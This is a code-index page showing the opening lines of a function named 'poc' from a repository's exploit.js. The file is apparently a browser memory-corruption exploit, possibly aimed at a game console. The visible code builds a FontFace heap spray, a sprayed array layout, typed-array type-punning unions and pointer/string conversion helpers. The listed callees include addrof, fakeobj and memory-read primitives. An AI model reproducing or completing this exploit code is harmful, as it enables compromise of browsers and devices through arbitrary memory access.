MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / poc

Function poc

900v3/exploit.js:12–452  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

10var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
11
12function poc(){
13
14function hex(n)
15{
16 if((typeof n) != "number")
17 return ""+n;
18 return "0x" + (new Number(n)).toString(16);
19}
20
21var union = new ArrayBuffer(8);
22var union_b = new Uint8Array(union);
23var union_i = new Uint32Array(union);
24var union_f = new Float64Array(union);
25
26var bad_fonts = [];
27
28for(var i = 0; i < SPRAY_FONTS; i++)
29 bad_fonts.push(new FontFace("font1", "", {}));
30
31var good_font = new FontFace("font2", "url(data:text/html,)", {});
32bad_fonts.push(good_font);
33
34var arrays = [];
35for(var i = 0; i < 512; i++)
36 arrays.push(new Array(31));
37
38arrays[256][0] = 1.5;
39arrays[257][0] = {};
40arrays[258][0] = 1.5;
41
42var jsvalue = {a: arrays[256], b: new Uint32Array(1), c: true};
43
44var string_atomifier = {};
45var string_id = 10000000;
46
47function ptrToString(p)
48{
49 var s = '';
50 for(var i = 0; i < 8; i++)
51 {
52 s += String.fromCharCode(p % 256);
53 p = (p - p % 256) / 256;
54 }
55 return s;
56}
57
58function stringToPtr(p, o)
59{
60 if(o === undefined)
61 o = 0;
62 var ans = 0;
63 for(var i = 7; i >= 0; i--)
64 ans = 256 * ans + p.charCodeAt(o+i);
65 return ans;
66}
67
68var strings = [];
69

Callers 1

exploit.jsFile · 0.70

Calls 15

ptrToStringFunction · 0.70
mkStringFunction · 0.70
stringToPtrFunction · 0.70
hexFunction · 0.70
makeReaderFunction · 0.70
boot_addrofFunction · 0.70
boot_fakeobjFunction · 0.70
i48_getFunction · 0.70
i48_putFunction · 0.70
read_mem_setupFunction · 0.70
read_mem_bFunction · 0.50
read_memFunction · 0.50

Tested by

no test coverage detected